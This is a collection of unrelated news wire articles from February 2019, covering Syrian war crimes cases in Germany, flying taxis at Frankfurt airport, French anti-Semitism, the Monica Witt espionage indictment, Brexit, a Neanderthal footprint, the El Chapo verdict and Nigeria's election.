
More than 360,000 people have been killed in the Syrian conflict with millions more displaced.

According to the Syrian Observatory for Human Rights, at least 60,000 people have died from torture or harsh conditions in regime custody since the conflict began.

Several other legal cases are now pending in Germany against the Assad regime.

Last year, German prosecutors issued an international arrest warrant for Jamil Hassan, a top Syrian official who headed the notorious airforce intelligence directorate and is accused of overseeing the torture and murder of hundreds of detainees.

Although the alleged abuses did not happen in Germany, the case has been filed under the legal principle of universal jurisdiction, which allows any country to pursue perpetrators regardless of where the crime was committed.

The Berlin-based European Center for Constitutional and Human Rights has also joined with torture survivors to file criminal complaints against 10 high-ranking Syrian officials, accusing them of crimes against humanity and war crimes.The Multicopter. Picture: Volocopter

Frankfurt airport operator Fraport has announced it is partnering with German aviation startup Volocopter to work on an infrastructure to enable flying taxis to bring people to and from the airport in the future.

Fraport and Volocopter said that theyre exploring on how to integrate air taxis into the existing airport infrastructure at Frankfurt, using what it calls Volocopter Ports, that could link up with existing transportation nodes at the airport. One of Europes busiest air hubs, Frankfurt handled over 69 million passengers last year.

Volocopter, founded in 2012 and counting Daimler as one of its investors, is in the testing phase with its electric, vertical-takeoff-and-landing (eVTOL) multicopters. One of its autonomous air taxis made its first public test flight in Dubai in September 2017, and it most recently flew Intel CEO Brian Krzanich as its first passenger at the Consumer Electronics Show in Las Vegas.

Flying taxis could be plying the urban skies in Germany within five years, according to a recent study by Horvath & Partners consultancy. It predicts that air taxis will be operating on fixed routes in big cities as early as 2025. They say that their surveys show that people have a higher acceptance of autonomous passenger drones than of self-driving cars.

Volocopter press spokesperson Helena Treeck told Yahoo Finance UK that they believe flying taxis will be operating even sooner than that.

Autonomous flying will fundamentally change aviation in the years to come, Anke Giesen, Fraport executive board member for operations, said in a press release. We want to be the first airport in Europe to harness the potential of electric air taxis in partnership with pioneer Volocopter.Paris (AFP) - Staring aghast at the swastikas scrawled over the portraits of his mother, the son of famed French Holocaust survivor Simone Veil says a recent surge in anti-Semitism reflects much larger problems.

"French society is in trouble," he says.

On Tuesday, Pierre-Antoine Veil went to Paris' 13th district to see for himself what vandals had done to the artistic tributes to his late mother on two post boxes.

"How can people have such ideas?" he wondered aloud at the scene of one of several anti-Semitic incidents in and around Paris in recent days that have stoked concern about rising hate crimes against French Jews.

"We can't let this happen," Veil told the city's Socialist mayor Anne Hidalgo, who attempted to reassure him that the vandals would not have the last word. "You can count on us, we'll repair the damage each time," she said.

But the rising number of anti-Jewish offences reported to police -- up 74 percent last year -- have caused alarm in the country that is home to both the biggest Jewish and the biggest Muslim community in Europe.

In recent days, the word "Juden" was spray painted on the window of a Paris bagel bakery and a tree planted in memory of Ilan Halimi, a young Jewish man who was tortured to death near the capital in 2006, was chopped down.

"I have never known France to be free of anti-Semitism," Valerie Zenatti, a children's author and translator who grew up in a Jewish family, told AFP.

"I grew up with the attacks of Copernic Street and Rosiers Street and police guarding synagogues," she said, citing two attacks on Paris synagogues in 1980 and 1982 in which four people and six people were killed respectively.

"But the phenomenon has exploded. Clearly, the dam has burst," she said.

- 'The most vile passions' -

President Emmanuel Macron and government spokesman Benjamin Griveaux have both suggested the latest attacks could be the work of far-left and far-right figures within the "yellow vest" movement.

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The protests began three months ago over fuel taxes but quickly grew into a broader anti-government rebellion fuelled by hatred of Macron, with some using anti-Semitic tropes to refer to his former job as an investment banker.

An Ifop poll this week showed that yellow vest protesters were more likely to believe in conspiracy theories than the rest of the population.

The results showed nearly half of the respondents believed in a worldwide "Zionist plot".

But others say the roots of the problem go much deeper and wider.

For philosopher Pascal Bruckner, who has written extensively on the issue, the attacks highlight the convergence of three currents of anti-Jewish sentiment in French society.

"Radical Islam, the far-right -- as evidenced by the 'Juden' inscription on the restaurant window -- and the anti-Zionist far left," he told AFP.

He sees Macron's past as a banker for the French branch of the Rothschild family -- who trace their roots back to the Jewish ghetto in Frankfurt -- as a key factor in the venom directed at him by the yellow vests.

"He has been branded a 'Jewish whore'. That would not have happened if he had worked at Dupont bank," he said, referring to one of France's most common surnames.

Bruckner also pointed to the links between radical Islamists and the anti-immigration far right -- unlikely allies united by anti-Semitism.

"All this is circulating and converging to awaken the most vile passions," Bruckner said.

- 'A quiet ethnic purge' -

Surveys show anti-Jewish attitudes still circulate in France, despite a lingering sense of shame over the round-up and deportation of Jews during World War II by a pro-Nazi regime.

A report published last year by France's National Consultative Commission on Human Rights, an independent advisory body, quoted 38 percent of people polled as saying Jews had a "particular attitude to money."

Many observers date the resurgence in anti-Semitism to a spike in anti-US and anti-Israeli sentiment following the 9/11 attacks and the eruption of the second Palestinian "intifada" or uprising against Israel, which fanned anti-Jewish sentiment in France's Muslim communities.

A letter signed by 300 French public figures last year warned about the "quiet ethnic purging" of some areas where Jews were being driven out by rising Islamist sentiment.

In the past few years, French jihadists have targeted Jews in several attacks.

In 2011, an Islamist gunman shot dead a rabbi and three children at a Jewish school in Toulouse.

Then in 2015, an extremist claiming allegiance to the Islamic State group killed four people at a kosher supermarket in Paris.

The violence that year triggered an increase in the number of French Jews moving to Israel which totalled 6,628 in 2015. Another 3,157 left in 2017, according to Israel's Central Bureau of Statistics.

Emilie Freche, president of the jury that awards the annual Ilan Halimi prize for initiatives against racism and anti-Semitism, urged the authorities to declare "a state of emergency on anti-Semitism."

"For the past 15 years we've been issuing condemnations," she said wearily, calling for greater investment in culture and education.Washington (AFP) - The US Justice Department charged a former Air Force intelligence official Wednesday with spying for Iran, saying she exposed a fellow US agent and helped the Revolutionary Guard target her former colleagues for cyber attacks.

US officials said Monica Witt, 39, who worked a decade in Air Force counterintelligence, had an "ideological" turn against her country and defected in 2013, turning over information on US espionage operations against Tehran.

"It is a sad day for America when one of its citizens betrays our country," said Assistant Attorney General John Demers, announcing the indictment.

"This case underscores the dangers to our intelligence professionals and the lengths our adversaries will go to identify them, expose them, target them, and, in a few rare cases, ultimately turn them against the nation they swore to protect," he said.

The US also indicted four Iranians working for the Revolutionary Guard who, using information Witt provided them, targeted her former colleagues in US intelligence with malware and phishing scams in hopes of accessing their computer networks.

The Justice Department has issued arrest warrants for Witt and the four Iranians, who all remain at large. She is believed to be in Iran, officials said.

In a parallel action, the US Treasury announced sanctions on the New Horizon Organization, a Revolutionary Guard group that had invited Witt to Tehran in 2012, and a separate company tied to the hacking effort.

The indictments were dated February 8, but were unveiled Wednesday, on the opening day of a US-led conference in Warsaw, Poland aimed at boosting international pressure on Tehran.

- Farsi language specialist -

Witt's case appeared intertwined with that of Iranian-American television journalist Marzieh Hashemi, who was detained by US authorities in January during a visit to the United States and forced to testify before a grand jury in Washington, DC, where the Witt case was investigated.

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The indictment said Witt was recruited during trips to Tehran in 2012 and 2013 with help from an unidentified "Individual A," a dual US-Iranian citizen whose description resembles Hashemi.

Witt served in the US Air Force from 1997 to 2008, becoming an agent in the Air Force Office of Special Investigations, its counterintelligence unit.

A Farsi language specialist, she was deployed to the Gulf area several times on signals intelligence missions, according to the indictment, and had top security clearance giving her access to the identities of clandestine US agents and informants in the field.

After leaving the Air Force, she worked as a defense contractor, but by 2012 her politics had turned.

That year she travelled to Iran to attend an anti-America conference sponsored by the New Horizon Organization.

Later that year she worked with Individual A to make a video critical of the United States, and the two continued to communicate.

She wrote Individual A that she wanted to put her Air Force training "to good use instead of evil."

In February 2013 she again travelled to Tehran for another New Horizon conference, where she met with members of the Revolutionary Guard and told them she wanted to emigrate, the indictment said.

- Wanted to 'do like Snowden' -

But Iranians apparently remained suspicious of her, and she travelled to Afghanistan and Tajikistan, spending months trying to persuade Individual A that she was a genuine turncoat, while threatening to go to Russia and divulge her secrets to WikiLeaks.

In one message she wrote that she might "do like (Edward) Snowden," the former US intelligence contractor who in early June 2013 leaked thousands of documents on the operations of the National Security Agency.

Aided by Individual A, Witt eventually met Iran's ambassador in Tajikistan, who gave her money to fly to Dubai.

On August 28, 2013, she finally defected to Tehran, where she took the name Fatemah Zahra and, according to the indictment, began disclosing classified information to Iranian officials, including the identity of a covert US operative.

There was no detailed explanation of Witt's motives, although there was some suggestion in unconfirmed online records that she had begun to oppose the US wars in Iraq-Syria and Afghanistan.

"Witt's primary motivation appears to have been ideological. She decided to turn against the United States and turn her loyalties to Iran," FBI Executive Assistant Director Jay Tabb told reporters.WASHINGTON  Federal prosecutors revealed charges on Wednesday that a former Air Force intelligence officer had revealed defense secrets and the identity of at least one U.S. intelligence officer to the Iranian government.

Monica E. Witt was named in an indictment unsealed Wednesday, which also charged four Iranian nationals who prosecutors alleged were involved in cyber operations against her former U.S. military colleagues. Witt is charged with espionage, conspiracy and other crimes.

Federal authorities said that Witt defected to Iran in 2013, and allegedly provided the government with sensitive defense information and the identity of at least one U.S. intelligence officer. Before boarding her flight to Tehran, prosecutors said, she typed an email to an associate saying: "I'm signing off and heading out! Coming home." She closed with a smile emoji.

Assistant Attorney General John Demers, chief of the Justice Department's National Security Division, said Witt's alleged activities violated "her solemn oath to protect and defend our country, and the bounds of human decency."

Related Video: Iran Marks 40th Anniversary of Islamic Revolution

"This case underscores the dangers to our intelligence professionals and the lengths our adversaries will go to identify them, expose them, target them, and, in a few rare cases, ultimately turn them against the nation they swore to protect," Demers said.

Before traveling to Iran in 2012, federal authorities said Witt was warned that she was at risk of potential recruitment by Iranian intelligence officials, but she elected to continue with her travel plans.

Witt served as a Air Force military intelligence specialist for more than 10 years before leaving in 2008 to begin work as a defense contractor.

She left that post in 2010, and then began excursions to Iran where authorities believe she remains.

This article originally appeared on USA TODAY: Former Air Force intelligence officer charged with spying for Iran and revealing defense secretsState Grid Corporation of China, the technical partner of power grid operator National Grid Corp. of the Philippines, is spearheading efforts to provide solar power in Zambales that will benefit over 1,000 residents in the province. The move came on the heels of Chinese President XI Jinpings visit to the Philippines last year where he assured that China would continue to extend its support to the Philippines in various aspects of the business. SGCC said that as part of improving relations between the two countries, it signed recently a memorandum of agreement with the National Electrification Administration and the Zambales II Electric Cooperative for a solar project. Under the MOA, SGCCs Brighten Up project will involve the installation of a solar panel system which will be turned over to Zameco II. The system will generate 76 kilowatts, which is capable of delivering power to more than 1,000 residents, including two schools with 108 students. Through the partnership, Huawei Philippines will also donate communications equipment, providing the communities with telecommunications network coverage. SGCC will then provide computers and school supplies for the two educational institutions covered by the agreement.Chinese Embassy commercial counselor Jin Yuan said during the signing ceremony for the project that with the successful visit of President Xi to the Philippines in November 2018, relationships between the two nations were pushed to a higher level. Jin said SGCCs project was a crucial step in solidifying the good relations between the two countries and was only the beginning of more ways in which China and the Philippines could build support and enhance cooperation. SGCC is also currently the technical partner of NGCP, where it provides assistance to the countrys transmission grid through skills development of NGCPs engineers and providing NGCP with the latest technologies in modern transmission grid operations. SGCC said that together with NGCP, the company would be able to reach more communities and create more opportunities to its partners not only from Zameco II but to the entire country.(Reuters) - Ford Motor Co has told British Prime Minister Theresa May that it is stepping up preparations to move production out of Britain, The Times reported on Tuesday.

The automaker told the prime minister during a private call with business leaders that it is preparing alternative sites abroad, the report said.

In a statement to Reuters, Ford said a no-deal Brexit would be catastrophic for its manufacturing operations in Britain.

"We have long urged the UK Government and Parliament to work together to avoid the country leaving the EU on a no-deal, hard Brexit basis," the United States No.2 automaker said.

"We will take whatever action is necessary to preserve the competitiveness of our European business."

Ford, which operates two engine plants in Britain, last month said that it faces a bill of up to $1 billion if Britain leaves the European Union without a deal.

Car makers and other manufacturers have warned of the cost of a no-deal Brexit, including higher tariffs, disruption to supply chains and threats to jobs. Britain is scheduled to leave the EU on March 29.

Other companies have delivered the same warning as Ford, The Times reported, citing another participant on the private call with May.

"This isn't about contingencies any more - we are taking steps because of the uncertainty. It's real," the report quoted the participant as saying.

Last week Nissan Motor Co said it scrapped plans to build its new X-Trail SUV in Britain and will produce it solely in Japan, saying that uncertainty related to Brexit was making it hard for it to plan for the future.

Ford is a top-selling automotive brand in Britain, which is its third-largest market and the destination for roughly one in three cars made at its plant in Cologne, Germany. It employs about 13,000 people in Britain.

(Reporting by Gaurika Juneja in Bengaluru and Andrew MacAskill in London; Editing by Leslie Adler and Arun Koyyur)(Reuters) - Ford Motor Co told British Prime Minister Theresa May that it is stepping up preparations to move production out of Britain, The Times reported on Tuesday.

The automaker told the prime minister during a private call with business leaders that it is preparing alternative sites abroad, The Times said.

Ford was not immediately available for comment.

Ford, which operates two engine plants in Britain, last month said that it faces a bill of up to $1 billion if Britain leaves the Europe Union without a deal.

Car makers and other manufacturers have warned about the toll a no-deal Brexit could impose, including higher tariffs, disruption to supply chains and threats to jobs. Britain is scheduled to leave the European Union on March 29.

Another participant on the private call with May said that other companies delivered the same warning as Ford, The Times reported.

"This isn't about contingencies any more - we are taking steps because of the uncertainty. It's real," the participant said during the call.

Last week Nissan Motor Co said it scrapped plans to build its new X-Trail SUV in Britain and will produce it solely in Japan, saying that uncertainty over Britain's departure from the EU was making it hard for it to plan for the future.

Ford is the top-selling automotive brand in Britain, which is its third-largest market and the destination for roughly one in three cars made at its plant in Cologne, Germany. It employs about 13,000 people in Britain.

(Reporting by Gaurika Juneja; Editing by Leslie Adler)The footprint showed a distinctive gap between the first and second toe - Gibraltar National Museum

A footprint which could belong to one of the last Neanderthals to walk the Earth has been discovered in Gibraltar.

Although most Neanderthals had died out by around 40,000 years ago, small populations clung on in caves at the edge of the Iberian peninsular, where stone tools prove they were still alive around 28,000 years ago.

Now scientists at The Gibraltar National Museum, who have spent the last 10 years studying ancient paths in the vast sand dune above Catalan Bay, believe they have found the footprint of a teenage Neanderthal who lived around 29,000 years ago.

The footprint was discovered alongside the tracks of deer, ibex, aurochs, leopard and even elephants.

Neanderthals lived for longer in Gibraltar because the area was never inhabited by early humans during last ice age, so they had no competition for food and resources.

The footprint shows a distinct 0.7 inch (2cm) gap between the first and second toe, similar to other Neanderthal foot bones in Italy. The little early human probably stood around 4.1 feet tall.

If confirmed to be Neanderthal, the dunes would become only the second site in the world with footprints of the early extinct species, the other being Vartop Cave in Romania.

The footprint in the ancient sand dune Credit: Gibraltar National Museum

Gibraltars Minister for Heritage John Cortes MP said: This is extraordinary research and gives us an incredible insight into the wildlife community of Gibraltars past.

We should all take a moment to imagine the scene when these animals walked across our landscape. It helps us understand the importance of looking after our heritage.

I congratulate the research team on uncovering this fascinating, hidden evidence of our Rocks past.

The huge sand sheets in Gibraltar are a relic of the last ice age when sea level was up to 120 metres below present levels and fields of sand dunes extended eastwards from the bottom of the rock.

Neanderthals died out around 28,000 years ago Credit: kolvenbach / Alamy

Co-author Dr Clive Finlayson, Director and Chief Scientist of the Gibraltar Museum, told The Telegraph: "The footprint is that of an adolescent human. If it were indeed to be confirmed to be that of a Neanderthal, then it would most certainly be a late Neanderthal although I dont think we could ever presume to have found the last one.

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"The current discoveries are the tip of the iceberg. The deposits are huge, spanning from sea level up to 300 metres above present sea level so the potential for further discoveries is exciting.

"The footprints of the fauna should not be underestimated either. These are species which we have found as fossils in association with Neanderthals at Gorhams and Vanguard Caves which are a short distance away.

"The Straight-tusked Elephant is of particular interest as the species disappeared earlier than the other species from Gibraltar, so it suggests some deposits may be quite old indeed. This is work in progress but very promising indeed."

The research was published in the journal Quaternary Science Review.Paul Evans (left), his wife, Martha Evans (right)

ST. LUCIE COUNTY, Fla.  Mark Evans said the death of his older brother, Paul Evans, summed up his life.

Putting others first, helping people and giving his life for someone else was how he lived, Mark Evans said Tuesday.

Paul Evans, 66, died Feb. 6 after jumping into the Intracoastal Waterway to save his 5-year-old grandson, Noah.

Evans; his wife, Martha Evans; and two grandchildren were on a seawall fishing northeast of Fort Pierce when Noah hooked a fish so big it pulled him into the water, Mark Evans said.

You wouldnt have stopped him (Paul Evans) from getting in the water. This was just 100 percent Paul, Mark Evans said. He would do anything for his kids. He would do anything for his friends or a stranger. If anybody would have fallen in the water, he would have been one of the first in.

The St. Lucie County Sheriffs Office on Tuesday released a report about the incident with the names excised. The St. Lucie County Fire District Tuesday confirmed the incident happened. The incident previously had not been disclosed publicly.

'Knocked the wind out of him'

Paul Evans holds his granddaughter, Carly Evans, alongside his wife, Martha Evans, in this photo provided by family. Paul Evans died while attempting to save his grandson, 5-year-old Noah, on Feb. 6, 2019.

Mark Evans said his brother used oxygen around the clock, and had kidney disease and sarcoidosis, an inflammatory disease that affects multiple organs in the body, but mostly the lungs and lymph glands.

That didn't stop Paul Evans from removing his oxygen and jumping into the water after his grandson.

Mark Evans said the tide was coming in, and a sheriffs official told him it was a strong current and the water in that area is deep.

The medical examiner said that hitting the water knocked the wind out of him and that his lungs just werent strong enough for him to recover, Mark Evans said.

After Paul Evans jumped in the water, his wife, Martha, did, as well, Mark Evans said.

He said Paul Evans was floating face down, with Noah holding his foot as Noah treaded water. Martha Evans swam to them, and Noah climbed on her back and put his arms around her neck. She swam back to the seawall and a fisherman there helped get Noah out of the water.

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Noah Evans, 5

Martha Evans returned to her husband, and tried but was unable to turn him face up in the water.

She was screaming for help, and a boater (arrived), Mark Evans said.

Together, they turned Paul Evans over.

Mark Evans said someone called 911, and the Coast Guard got Martha Evans back to shore. She headed to the hospital where her husband was taken.

A sheriff's report states firefighters retrieved a man, whose name is excised, out of the water. He was taken to Lawnwood Regional Medical Center & Heart Institute in Fort Pierce.

She was just asking, 'Wheres my husband, wheres my husband?' Mark Evans said. A doctor came and told her that he was gone.

'They would help anybody'

Mark Evans said their father taught them to hunt and fish as they grew up in Michigan, and Paul Evans loved those activities.

His parents moved to Florida in 1975, and his father owned a fish camp in Osteen in Volusia County, said Mark Evans, who said he lives not far away in Geneva.

Frank Evans (left), and his son, Paul Evans (right)

Paul Evans worked as a mechanic, in logging and also had been a bouncer at a bar. He moved to Fort Pierce in the late 1970s and met his wife there.

Reached late Tuesday, Martha Evans said she was married to Paul Evans for 36 years. They met at a party in Fort Pierce.

Hes a wonderful man. Hed do anything for anybody, Martha Evans said. His life was his wife and his children. He doted on us.

They were living with two daughters and their grandchildren in a mobile home park on U.S. 1, Mark Evans said.

Paul Evans and his wife didnt have much, but were generous with what they did have, he said.

They were just good, down-to-earth people that would help anybody if they could, Mark Evans said.

He said Paul Evans weathered difficulties in life, including the loss of a son, but kept a good attitude.

This really kind of sums up his life for him to go out like this, giving his life for someone else, Mark Evans said.

This article originally appeared on Treasure Coast Newspapers: Florida man dies after diving into Intracoastal to rescue 5-year-old grandsonWant to participate in a short research study? Help shape the future of investing tools and you could win a $250 gift card!

Cauldron Energy Limited (ASX:CXU), which has zero-debt on its balance sheet, can maximize capital returns by increasing debt due to its lower cost of capital. However, the trade-off is CXU will have to follow strict debt obligations which will reduce its financial flexibility. While zero-debt makes the due diligence for potential investors less nerve-racking, it poses a new question: how should they assess the financial strength of such companies? I will go over a basic overview of the stocks financial health, which I believe provides a ballpark estimate of their financial health status.

See our latest analysis for Cauldron Energy

Is financial flexibility worth the lower cost of capital?

Debt capital generally has lower cost of capital compared to equity funding. But the downside of having debt in a companys balance sheet is the debtholders higher claim on its assets in the case of liquidation, as well as stricter capital management requirements. The lack of debt on CXUs balance sheet may be because it does not have access to cheap capital, or it may believe this trade-off is not worth it. Choosing financial flexibility over capital returns make sense if CXU is a high-growth company. CXU delivered a negative revenue growth of -35%. While its negative growth hardly justifies opting for zero-debt, if the decline sustains, it may find it hard to raise debt at an acceptable cost.

ASX:CXU Historical Debt February 13th 19

Does CXUs liquid assets cover its short-term commitments?

Since Cauldron Energy doesnt have any debt on its balance sheet, it doesnt have any solvency issues, which is a term used to describe the companys ability to meet its long-term obligations. However, another measure of financial health is its short-term obligations, which is known as liquidity. These include payments to suppliers, employees and other stakeholders. At the current liabilities level of AU$706k, it seems that the business has been able to meet these commitments with a current assets level of AU$5.1m, leading to a 7.2x current account ratio. Having said that, a ratio above 3x may be considered excessive by some investors, yet this is not usually a major negative for a company.

Story continues

Next Steps:

CXU is a fast-growing firm, which supports having have zero-debt and financial freedom to continue to ramp up growth. Since there is also no concerns around CXUs liquidity needs, this may be its optimal capital structure for the time being. In the future, its financial position may be different. This is only a rough assessment of financial health, and Im sure CXU has company-specific issues impacting its capital structure decisions. I recommend you continue to research Cauldron Energy to get a better picture of the stock by looking at:

Historical Performance: What has CXUs returns been like over the past? Go into more detail in the past track record analysis and take a look at the free visual representations of our analysis for more clarity. Other High-Performing Stocks: Are there other stocks that provide better prospects with proven track records? Explore our free list of these great stocks here.

To help readers see past the short term volatility of the financial market, we aim to bring you a long-term focused research analysis purely driven by fundamental data. Note that our analysis does not factor in the latest price-sensitive company announcements.



The author is an independent contributor and at the time of publication had no position in the stocks mentioned. For errors that warrant correction please contact the editor at editorial-team@simplywallst.com.NEW YORK  A federal jury slammed the door on a final escape bid by Joaquin "El Chapo" Guzman Loera on Tuesday, convicting the former leader of Mexicos Sinaloa cartel of drug trafficking, weapons charges and operating a continuing criminal enterprise  a verdict that could send him to prison for life.

The panel of eight women and four men voted unanimously to find Guzman guilty on all 10 criminal counts. It was the sixth day of deliberations.

Guzman, 61, listened intently through a Spanish interpreter as U.S. District Judge Brian Cogan read the guilty counts aloud. He appeared subdued at the findings.

His wife, Emma Coronel Aispuro, remained outwardly impassive during the verdict reading. She gave Guzman a brief thumbs up just before security officers led him out of the courtroom.

The heavy security around the Brooklyn courthouse during the 12-week trial remained in place after the verdict. Soldiers in camouflage with assault rifles stood guard in the courthouse entrance as federal officials and defense lawyers went out into freezing rain pellets to discuss the verdict with reporters.

Cogan set a tentative sentencing date for June 25.

Guzman's legal team vowed to pursue an appeal after the sentence is imposed. Defense attorney Jeffrey Lichtman said Guzman remained optimistic  he "was bringing our spirits up," Lichtman said, instead of the other way around.

Federal officials declared the convictions a victory for the peoples of the United States and Mexico. The two countries bore the brunt of decades of violence and smuggling that killed thousands and addicted many more.

Prosecutors say the Sinaloa Cartel generated billions of dollars by smuggling tons of cocaine, heroin, methamphetamine and other drugs.

"There are those who say the war on drugs is not worth fighting," said Richard Donoghue, the U.S. Attorney for the Eastern District of New York. "Those people are wrong."

Uttam Dhillon, the acting director of the U.S. Drug Enforcement Administration, said the conviction "demonstrates the dedication and determination of the men and women of the DEA to bring the world's most notorious and prolific drug trafficker to justice."

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Federal officials declined to answer questions about the verdict because Guzman remains the subject of criminal charges in Florida, Texas and elsewhere. The officials declined to discuss whether Guzman would now be transferred to other federal districts for prosecution.

Lichtman said he and fellow defense lawyers Eduardo Balarezo and William Purpura faced "literally an avalanche of evidence" presented by federal prosecutors, and what he characterized as a widespread perception of Guzman's guilt long before the trial began in November.

"I don't think anybody would doubt that we fought like hell ... and left it all on the battlefield for Joaquin Guzman," he said.

The defense team said their appeal would focus in part on restrictions the judge imposed on defense cross-examination of government witnesses, and on legal issues surrounding Guzman's extradition to the United States for prosecution.

"Do I think it was a fair trial? No," said Lichtman. "Every witness and every question was a battle."

Prosecutors called 56 witnesses, 14 of them former associates of Guzman who cooperated with the government in the hope of gaining leniency for their own crimes.

Guzman decided not to testify in his own defense. The defense called one witness.

By turns grisly, comic, and serious, the proceeding unfolded as a ready-for-telenovela look at Guzman and the Sinaloa cartel.

Prosecutors said he reaped hundreds of millions of dollars by smuggling and distributing tons of cocaine and heroin to cities across the United States from the late 1980s into the 2000s.

Dubbed "El Rapido" for his speed-to-market distribution network, he used cars, trucks, trains, planes, fishing boats, submarines, and tunnels under the U.S.-Mexican border to deliver drugs.

Guzman and his underlings hid drugs in chile containers, shipments of fish or in carefully concealed compartments.

In a superseding indictment, prosecutors said Guzman and alleged co-leader Ismael Zambada Garcia created the Sinaloa cartel in the early 2000s from an existing Mexican drug trafficking federation.

The Mexican operation quickly became one of the world's largest narcotics smuggling organizations, shipping tons of Colombian cocaine first to Mexico, and then on to the United States and beyond.

Guzman's history of escapes made him something of a folk hero in Mexico. He was first arrested in Guatemala in 1993, extradited to Mexico, convicted of drug trafficking and sentenced to 20 years in prison.

Incarcerated at the Federal Center for Social Rehabilitation No. 2 in Jalisco, he continued to lead the cartel from behind bars. Associates bribed prison staff to provide him with a comfortable lifestyle in prison, including private menus and prostitutes.

Guzman was in prison when U.S. authorities indicted him on drug trafficking charges. Fearful of extradition to the United States, he bribed his way out of prison in 2001 and spent the next 13 years in hiding.

An international manhunt led authorities in 2014 to the Pacific Coast resort town of Mazatlan, where the Mexican Navy arrested Guzman with intelligence from the U.S. Drug Enforcement Administration and the U.S. Marshals Service.

But he escaped again the next year, this time from the country's Altiplano prison, through a nearly mile-long tunnel that henchmen dug to the shower in his cell.

He was arrested for the last time by Mexican federal police in 2016, in the Sinaloa town of Los Mochis, and extradited to the United States the following year.

Zambada, 71, has not been caught. He is believed to be in Mexico.

During the trial at Brooklyn federal court, Guzman's former associates provided some of the most damaging testimony.

His defense team focused most of their trial strategy on trying to discredit those witnesses.

Miguel Angel Martinez told jurors he had been one of Guzman's trusted lieutenants until he was arrested in 2008.

Martinez described a rift with Guzman that turned deadly. He testified that he sold a house that Guzman had purchased under Martinez's name, and tried to evict one of Guzman's mistresses.

Martinez told jurors that the boss tried to have him killed four times. Before the fourth attempt  in which he said grenades were thrown into his jail cell  he said he was treated to an unusual serenade.

Martinez said a mariachi band assembled outside the jail walls to play "Un Puno de Tierra"  "A Fistful of Dirt"  a song he said was Guzman's favorite. The corrido, or ballad, advises the listener to live life his intensely, because when death comes, he'll take nothing with him but dirt.

Martinez said he interpreted the song as a message from Guzman.

Juan Carlos Ramirez Abadia, a former leader of Colombia's Norte Valle cocaine cartel, said he relied on Guzman and the cartel to smuggle tons of the drug into Mexico, and then on to the United States.

Abadia, a notorious drug trafficker in his own right, underwent multiple plastic surgeries that transformed his appearance but failed to head off his capture.

Chicago-born drug trafficker Pedro Flores testified that he and his twin brother, Margarito, ran a distribution system that shipped Guzman's cocaine to major U.S. cities.

After working with Guzman, Flores testified, the brothers feared U.S. and Mexican authorities were closing in. They secretly recorded Guzman allegedly discussing drug smuggling. Those recordings were played for jurors.

Damaso Lopez Nunez, another alleged Guzman lieutenant, told jurors he led the effort to spring the boss from Altiplano prison through the secret tunnel in 2015.

Lopez Nunez testified that Guzman's wife was part of the plot, relaying the boss' instructions for the tunnel.

Coronel Aispuro. a regular presence in the courtroom during the 13-week trial, displayed no emotion during that testimony.

Isaias Valdez Rios told jurors that Guzman interrogated, tortured and killed enemies. Veldez said Guzman ordered one badly wounded man buried alive.

Assistant U.S. Attorney Andrea Goldbarg opened her closing argument to jurors with Valdez's grisly account of the boss shooting two members of a rival drug gang and then ordering him and other cartel members to toss the bodies into a bonfire.

Lucero Guadalupe Sanchez Lopez, a former Guzman mistress, told jurors that she helped him buy and distribute multi-kilo loads of marijuana.

She also testified that she and her naked lover escaped from a Guzman safe house in Culiacan as Mexican Marines closed in by entering tunnel hidden beneath a bathtub.

During a break in the trial, Sanchez could be heard sobbing in a waiting area outside the courtroom. Guzman's wife appeared to smile.

But if Sanchez's testimony opened any rift between husband and wife, the couple didn't show it. When court security marshals brought Guzman in for the next trial session, he was wearing a wine-red velvet smoking jacket.

Coronel Aispuro entered the courtroom a moment later in a nearly identical jacket of her own.

The trial also featured an art-meets-real-life moment as evidence presentation wound to a close.

Mexican actor Alejandro Edda, who portrays Guzman in Netflix's Narcos: Mexico, visited the courtroom to observe the man himself at the center of the defense table.

A court security officer warned spectators in Edda's seating area not to gesture, wave or give a thumb's up in Guzman's direction.

The warning didn't deter Guzman that day. He smiled broadly, and waved to Edda.

This article originally appeared on USA TODAY: Federal jury finds drug lord Joaquin 'El Chapo' Guzman guilty of all countsBy Alexis Akwagyiram and Paul Carsten

LAGOS (Reuters) - Nigerians vote on Feb. 16 to choose a president to lead Africa's biggest oil producer and, by some measures, the continent's largest economy.

The story behind the election in Africa's biggest democracy can be told in numbers.

* The size of Nigeria's population is hotly debated. The present figure of about 190 million is based on projections from a 2006 census that some experts say was flawed. Nevertheless, Africa's most populous country has 84 million people registered to vote in this weekend's election, a 25 percent rise from the last such vote four years ago, according to the national electoral commission.

* But turnout was just 44 percent in 2015. That puts Nigeria 41st out of 44 African countries, measured by the International Institute for Democracy and Electoral Assistance on their last presidential election turnout.

* Elections show how men dominate politics in Nigeria. Although 47 percent of registered voters are women, according to the electoral commission, their political representation is limited. The country has never elected a woman president or state governor, and women only make up 6 percent of the 469 national parliament members. For national and gubernatorial elections, women make up roughly one-in-eight of the 8,878 total candidates, while for the presidency alone they are 7 percent of the 71 candidates.

* Almost a quarter of registered voters - 24 percent - live in Buhari's heartland in the northwest, according to the electoral commission. The next-largest region by vote is the southwest, home to Lagos, the metropolis where Buhari's political godfather Bola Tinubu helped deliver victory in 2015. Opposition figures have been campaigning in these areas to try to unseat the incumbent.

* Nigeria's population is young and fast-growing  it is expected to be the world's third most populous country by 2050 with 400 million inhabitants, the United Nations says. More than half of all voters, 51.1 percent, are between 18 and 35, according to the electoral commission. The country's median age is 18 years old. The two main presidential contenders are in their 70s - Buhari is 76 and the main opposition candidate, Atiku Abubakar, is 72.

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* Nigerian elections can be deadly: more than 800 people were killed in 2011 in post-election protests in the north after Buhari's defeat that year, according to Human Rights Watch. In 2015, more than 160 people were killed in election-related violence, the European Union has said. Observers have called for violence-free elections this time but concerns remain high, especially if the losing candidate refuses to concede. Several people were killed in a stampede at a Buhari rally in Port Harcourt.

* Three hundred metres: a variety of activities related to campaigning are forbidden within this distance of a polling unit, according to the 2010 electoral act, including a ban on offensive weapons affecting even police. Moreover, a court ruled in 2015 that the military must not be involved in elections. However, the electoral commission said armed police and soldiers would guard polling units where the 1.8 million people who have fled Islamist violence in the northeast will vote.

* This will be Nigeria's sixth election since returning to democracy in 1999, after decades under the military.

